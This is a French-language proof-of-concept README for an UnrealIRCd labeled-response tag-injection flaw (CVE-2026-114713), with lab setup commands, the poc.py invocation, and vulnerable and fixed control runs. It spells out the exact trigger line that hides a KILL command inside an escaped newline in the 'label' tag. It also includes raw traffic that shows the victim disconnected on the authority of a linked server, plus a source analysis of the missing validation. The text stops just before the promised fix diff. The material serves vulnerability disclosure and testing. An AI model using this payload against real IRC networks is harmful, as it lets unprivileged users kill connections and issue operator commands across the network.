
POC pour CVE-2026-114713 - injection de balises label IRCv3 dans UnrealIRCd permettant d'élever un message de client non privilégié au niveau d'autorité de commande serveur-à-serveur sur les réseaux de serveurs liés. Contrôles inclus pour la version vulnérable 6.2.7 et la version corrigée 6.2.7.1.
Le module labeled-response renvoie le message-tag IRCv3 "label" fourni par le client
dans les réponses sans l'échapper. Une valeur de label contenant un saut de ligne arrive sous la forme
de l'échappement de tag IRCv3 standard \n, que le serveur déséchappe en un vrai LF puis
réécrit tel quel. Lorsque la requête labellisée est routée vers un autre serveur
(un WHOIS <server> <nick> à deux paramètres fait exactement cela), la réponse traverse
la liaison serveur-à-serveur en portant ce LF brut. Le serveur récepteur analyse une
ligne en deux, et la seconde ligne - texte choisi par l'attaquant collé à la réponse -
s'exécute comme une commande envoyée par son pair de confiance. Sur IRC, un message provenant d'un serveur
lié contourne les contrôles de privilèges appliqués aux clients, de sorte qu'un utilisateur ordinaire peut
exécuter KILL, GLINE et autres commandes réservées au serveur/IRCOp à l'échelle du réseau avec un seul
message client. Corrigé dans 6.2.7.1 et le bundle de correctifs à chaud bundle-20261107 ; inscrit au KEV
le 2026-11-13 et exploité dans la nature.
bundle-20261107 sur 6.0.0 - 6.2.7 (sans redémarrage)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)Démarrer le labo (deux serveurs vulnérables liés sur 127.0.0.1:6667/6668, la même topologie sur 6.2.7.1, plus un contrôle mono-serveur) :
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
Déclencher l'attaque (attaquant et victime sur le leaf, cible WHOIS sur le hub) :
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port est le leaf auquel l'attaquant et la victime se connectent ; --hub-host/--hub-port
est le serveur distant hébergeant la cible WHOIS ; --whois-server est le nom utilisé dans
le WHOIS routé. Contrôles : la même entrée contre le réseau corrigé
(--port 6678 --hub-port 6677) et contre un seul serveur
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
Ne pointez ceci que vers des serveurs IRC que vous possédez.
Exécution du déclencheur contre le réseau vulnérable lié (capture brute :
evidence/01-vulnerable-linked-network-trigger.txt). D'abord la pré-vérification - le
même KILL envoyé directement est rejeté, prouvant que l'attaquant n'a aucun droit d'opérateur :
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
Puis une ligne labellisée (échappements de tag tels qu'envoyés sur le réseau) :
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
Le socket de la victime - tué par une commande attribuée au SERVEUR distant :
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
Le journal du serveur sur l'hôte de la victime désigne le tueur comme un serveur
(evidence/04-server-log-detection.txt) :
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
Contrôle A - même entrée sur le réseau lié corrigé 6.2.7.1
(evidence/02-control-fixed-6.2.7.1-linked-network.txt) : la valeur du label
contient un saut de ligne, donc le correctif rejette l'intégralité du tag ; les numériques WHOIS reviennent
sous forme de lignes simples non étiquetées et la victime reste en ligne :
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
Contrôle B - même entrée sur un serveur unique vulnérable, sans liens
(evidence/03-control-single-server-precondition.txt) : le label non échappé n'est
jamais réécrit que dans le socket de l'attaquant lui-même ; rien ne s'exécute :
[=] CONTROL HOLDS (single-server): no server-authority command executed.
Trois éléments s'alignent dans src/modules/labeled-response.c :
Les valeurs de tag sont déséchappées à la réception (message_tag_unescape() dans
src/modules/message-tags.c mappe les échappements IRCv3 \n \r \s \: vers
de vrais LF/CR/espace/point-virgule). Le client n'envoie jamais de saut de ligne brut ; le
serveur en fabrique un à partir de deux octets imprimables.
Dans 6.2.7, le validateur de tags accepte tout ce qu'un client porteur de cap envoie jusqu'à 64 octets - il n'y a aucune vérification de caractères sur la valeur :
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
Le module formate ensuite cette valeur stockée dans des lignes de réponse avec des
appels snprintf bruts - gen_start_batch() construit "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - contournant
message_tag_escape(), que tous les autres chemins sortants utilisent. Pour une réponse
routée vers un client étiqueté distant, lr_packet() écrit ce tampon vers le
lien serveur, de sorte que le LF à l'intérieur du label scinde le flux au niveau du pair
de confiance : la première ligne est un court segment de tag @label=p inoffensif, la deuxième ligne est
tout ce que l'attaquant a ajouté, exécuté comme une commande depuis le serveur
lié. Le WHOIS à deux paramètres est le vecteur le plus propre car il est transmis
au serveur de la cible et garantit une réponse étiquetée en retour à travers le lien.
Le correctif 6.2.7.1 est exactement la vérification manquante (premier bloc de diff de la version) :